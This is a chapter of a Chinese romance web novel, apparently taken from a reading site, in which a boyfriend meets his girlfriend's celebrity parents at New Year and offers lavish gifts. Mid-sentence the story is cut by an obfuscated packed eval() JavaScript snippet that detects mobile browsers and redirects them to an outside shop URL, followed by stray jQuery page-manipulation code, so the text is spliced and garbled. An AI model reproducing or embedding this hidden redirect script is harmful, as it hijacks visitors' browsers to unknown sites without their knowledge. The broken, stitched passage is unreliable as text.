杨嵊南跟阮秦苏待在这里的时间只有今天一天,他们明天得飞法国,所以杨心沅一大早跟常莫森通完电话知道他在来的路上,稍微有点堵车可能得晚点到。
她嘱咐常莫森开车小心,然后挂了电话匆忙洗漱好就下了楼。
一到楼下,她入目所及之处就看着厨房里两个相互依偎着的人。
阮秦苏在做着丰盛的早餐,昨晚杨心沅给他们留了言说今天未来女婿要来拜年,阮秦苏半夜起夜时看了一下手机,这一看就兴奋的后半夜都没睡觉。
连带着给杨嵊南说了一整宿的菜名。
天才渐渐刚亮阮秦苏就迫不及待起了床做早餐,杨嵊南心里看着她这样忙前忙后心里很是不舒服,凭什么老婆要为其他男人做早饭,尽管这个男人未来是他宝贝女儿的老公,那也不行,因为这一向是他的专利。
但他也只能把心里的不爽藏匿起来,待会儿他倒要看看那小子是什么模样,竟让他宝贝女儿独自承受暗恋的苦那么多年。
杨嵊南就跟在阮秦苏身后,她让他递什么东西,杨嵊南永远第一时间拿给她,毫无差错,阮秦苏女士心里则是想着,物尽其用,还能省下不少时间。
杨心沅从楼梯口慢慢辗转到厨房门口,这两人丝毫没感受到杨心沅的靠近。
她偷摸着瞧着听着父母间的小甜蜜。
杨嵊南到底是忍不了了,低沉着嗓音小小埋怨了一番:“老婆,你今早起来还没给我一个吻。”阮秦苏挪一步,杨嵊南就跟着动。
阮秦苏手上忙碌着,眼神落在手上,听了他这话快速地偏过头在杨嵊南脸颊上亲了一口,然后又立马弄着手里的培根生菜摆盘。
杨嵊南:......
以往的每个清晨醒来,两人都是要深吻一番的,今天就因为常莫森要来,他完全被老婆忽视且敷衍了。
顿时生气:“老婆——”
“好了好了,你别闹,你女婿马上就要到了,乖啊你先出去,别在这儿打扰我。”
杨嵊南在一旁没动,阮秦苏终于把多余的眼神投落在他被时间打磨得更加棱角分明的英俊脸庞上,安抚着:“为了女儿,为了女儿。”
听到女儿两字,杨嵊南终于妥协了,于是转身就要往客厅去,不巧,杨心沅听得入神,没来得及躲避。
跟杨嵊南视线撞了个正着,她亲眼看着她爸的脸色更加委屈了,心里尽管很想笑,但也不得不忍住,稍微清了下嗓子咳嗽了几声。
圆溜溜的眼珠子动了动,走上前去拥抱了下杨嵊南。
“爸爸,早安呀~”
杨嵊南心里又舒坦了,还是女儿贴心啊。
父女俩高高兴兴地往客厅去了,背对着他们的阮秦苏则是嘴角是合不拢的笑意。
过了片刻,那边早餐刚刚摆上桌,门铃响了。
杨心沅喜笑颜开,蹦蹦跳跳地急忙跑去开了门。
常莫森前额的头发被全部抓到了后脑勺,整个五官展露出无比优越的轮廓。
他露着洁白的牙齿朝她微笑着,他今天特意打扮过,卡其色大衣搭配软软的米白色修身高领打底毛衣,搭配着一条同色系的宽松直筒裤,整个人看上去像韩剧里的温润男神。
杨心沅看得心下一紧,昨晚看到那封信时她就想这么做了,于是上前一步冲进他的怀里,紧紧抱住他,她能感受到他在外面沾染到的寒冷气。
似乎觉得这样就能够温暖他。
常莫森在她冲过来时就已经同样抱住了她,并把她抱得更紧,他下巴抵在她的脑袋上。
好笑着说:“我们心沅可真是热情呢。”
杨心沅脸颊摩挲了下他的柔软毛衣,这个拥抱很短暂,她随即退开身来,“心心念念的男朋友可算是来了,我当然热情啦。”
立马把他带了进来。
“你来得刚好,我妈妈做饭可好吃了,你有口福了学长。”常莫森则是让她等等,只见他拿起电话拨了个号码,说了句可以把东西全部搬过来了,然后就挂了电话跟杨心沅一起进了屋。
屋内杨嵊南跟阮秦苏站在一旁,都看着常莫森,阮秦苏看了这孩子一眼,微笑着点点头,她的宝贝女儿挑男人的模样真是遗传到她的审美了,常莫森果真比那些杂志视频上更为英俊。
杨嵊南则站在妻子一旁,面色淡淡地看着常莫森。
鼻腔里轻微哼了一声,阮秦苏在一旁上前对着杨心沅说:“心沅,快让人家进来吃早餐呀。”
说完偏过头对常莫森笑眯眯地说:“你就是莫森啊,常听心沅提起你。”上下打量了一下,在心里猛点头,身材过关,模样过关。
果真是俊呐,阮秦苏心想着。
随即回过头来瞪了一眼杨嵊南。
杨嵊南:......
男人长那么好看也不知道有什么用,他亲亲老婆眼珠子都快掉出来了。
于是立马显示出长辈的威严来,沉声道:“来了就过来吃饭,你伯母可是一大早就起来了。”
他把那个一大早语气说得极为重。
常莫森浅浅微笑地点头颔首道:“伯父、伯母,新年快乐。”杨心沅内心对杨嵊南无奈。
索性急忙让常莫森换了鞋子。
四人辗转到餐桌前,这一坐下,饶是杨心沅知道她妈妈厨艺好,但还是被眼前这些精致得不像话的食物惊呆了,中式的、西式的通通有。
抬眸看着阮秦苏,她问:“妈妈,你这......也做得太多了一些吧?”他们只有四个人,可吃不完这么多。
哪料阮秦苏摆了摆手,双手撑在桌上,眼睛直视着常莫森:“这不是怕莫森吃不惯嘛,难得给你们做顿饭,我跟你爸爸明天就要飞法国了,索性就多做点给你们吃,下次见面也不知道多久了。”
常莫森则是很得体:“伯母,我不挑的,我会全部吃完绝不浪费。”杨嵊南看了他一眼,似故意为难常莫森,嗤笑一声:“你吃完了,我吃什么。”
杨心沅:......
阮秦苏:......
阮秦苏到底是受不了他这样,怒瞪了一下并直呼了杨嵊南名字。杨嵊南靠了过去,拉着阮秦苏的手,小声说老婆别生气,我不为难他了。
在一旁坐着的常莫森倒是温和地勾了勾唇,杨心沅在桌子底下悄然勾住了他的小拇指,晃动了几下,常莫森松开她的手指,强势一般扣进她的指缝十指紧扣住。
他看着这样的温馨画面,似乎联想到了以后他跟杨心沅的婚后生活,一定也这么有趣。
只是想不到他刚进门看到阮秦苏那一刻起,他才有些恍然。
原来这位在演艺圈内一向强大敢爱敢恨的阮秦苏在家里会如此温和,且想不到这位拿过很多国内外的重量级奖项的影后居然隐婚多年,且跟著名冷脸戏骨、兼导演杨嵊南是夫妻,还育有一女。
因为钟女士很喜欢阮秦苏的缘故,他对阮秦苏有印象。
他以前陪着母亲看过一则阮秦苏的一则采访,采访里她说她这辈子不会结婚,不会谈恋爱,她会将她的毕生全部献祭给电影事业。
她演戏起来是不要命的那种,对待任何一件事始终拼尽百分百,杨心沅身上的那股子韧劲儿也是遗传了阮秦苏。
只是没想到如今见到的画面却是这么与众不同,他们将杨心沅保护得很好很好。
难怪他总觉得杨心沅跟谁有点像,但那时想不起来,直到刚才见到阮秦苏,这位至今在演艺圈活跃的传奇人物后,他才明白过来,杨心沅是她的女儿,当然身上会有阮秦苏的影子。
而且他并不觉得杨嵊南是在为难他,相反常莫森觉得杨嵊南是想试探他的脾气如何,他懂。
几人吃完一顿饭下来渐渐变得也熟络不少,客厅内,杨嵊南跟常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223143|189962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莫森对坐着,气氛稍微有些不太寻常。
常莫森坐在他对面安静地泡茶,将茶水过滤后随即倒了一杯递给杨嵊南。
杨嵊南接过来浅饮了一口,茶香四溢,是好茶,泡茶的手法也很好,他刚才在桌子上着实有些过分了,但常莫森的神色始终很稳,没有表现出任何一丝不耐或者烦躁。
杨嵊南做导演的,他很善于观察人的面部表情,他刚观察了一番下来,这孩子情绪非常稳定。
看了看厨房内的妻子女儿,回头再将目光落在常莫森脸上。
杨嵊南问常莫森:“刚才从进门开始到吃饭,我说的那些你没有往心里去吧。”
常莫森看着杨嵊南摇了摇头,真诚回答:“伯父,您是心沅的父亲,您跟伯母都知道我今天来的目的,你们考察我是应该的。”
为杨嵊南又添了一些茶水,眉眼温和继续说:“而且作为父母来说,你们当然希望自己的女儿能遇良人,幸福顺遂一生,这是很多做父母的心愿,就像您跟伯母那样的感情,我很羡慕。”
杨嵊南眯了眯眼,看了常莫森一会儿后就看见他侧身拿了一个文件包,那是他从一开始进门时就贴身带着的那个文件包。
常莫森打开后,依次从里面拿出了各类签了字盖了章的各类文件,密密麻麻。
杨嵊南有点疑惑了。
常莫森挨个摆放好后对着杨嵊南解释道:“伯父,这里文件上我全部都签了字,是即时生效的,这上面的所有归属人、受益人都是心沅。”
“我家里有两位兄长,我们兄弟三人分别都有各自的家族信托基金,我已将我的那一份全部改成心沅了,我的父母跟兄长们都是同意的,这里还有我大哥送给心沅的关于环宇集团的一部分股份,这是他的见面礼,我二哥送了一座位于南半球那边的一座小岛给心沅作为见面礼。”
杨嵊南听着更懵了,一来就这么猛,这些东西的价值不可估量。
茶他不喝了,眯了眯眼低声问常莫森:“你这些见面礼会不会太贵重了,你这次整这么隆重,你们结婚怎么办?”
这小子比当初年轻的他还会来事。
常莫森笑笑道:“伯父,心沅值得更好的,这是我家人的诚意,他们都很喜欢心沅,我父母送了珠宝跟一艘私人游艇,我想办婚礼的时候询问下心沅的意见,如果可以的话我们会在游艇上先订婚,然后再去国外的那座小岛结婚。”
要不是拦住了一些,常莫森带来的东西还会比这个更为贵重,他怕吓到杨心沅,所以给家人说了想法后,他们才收敛了一些。
常莫森跟杨嵊南说明了他的家人现在都不在国内,再加上杨嵊南跟阮秦苏明天就要走,时间太赶,等下次大家挑个时间,双方父母见个面商量一下订婚的事情。
杨嵊南听完觉得可行,这时常莫森又诚恳地说;“伯父,我从未如此心急过想要跟一个女孩步入婚姻,我是真的很爱您的女儿,希望您能答应我。”
见他说完,杨嵊南看着他的眼睛,竟在那一刻突然懂了杨心沅暗恋了他六年不无道理,因为这孩子的眼睛太干净了,不掺杂任何杂质。
任谁见了常莫森,都会被他的真诚所打动。
客厅里两人一时相对无言,常莫森看着杨嵊南脸上没有任何表情,就那样看着他。
他放置于腿上的双手有点蜷曲,能感受到自己的掌心在冒汗。
杨嵊南看了他一会儿笑出了声,随即朝他莫名地说了句:“茶泡得不错,以后有时间教教我,你伯母喜欢喝茶,她总嫌弃我泡得很差劲。”
常莫森顿时肩膀都往下抖了一下。
半眯着眼喝着茶的杨嵊南心想:他怕再多看几秒,这孩子就得急了。
只是杨嵊南心里总归不舍,但终究杨心沅遇到良人,他为她感到高兴。
得遇好的爱人,共赴一生,这很浪漫。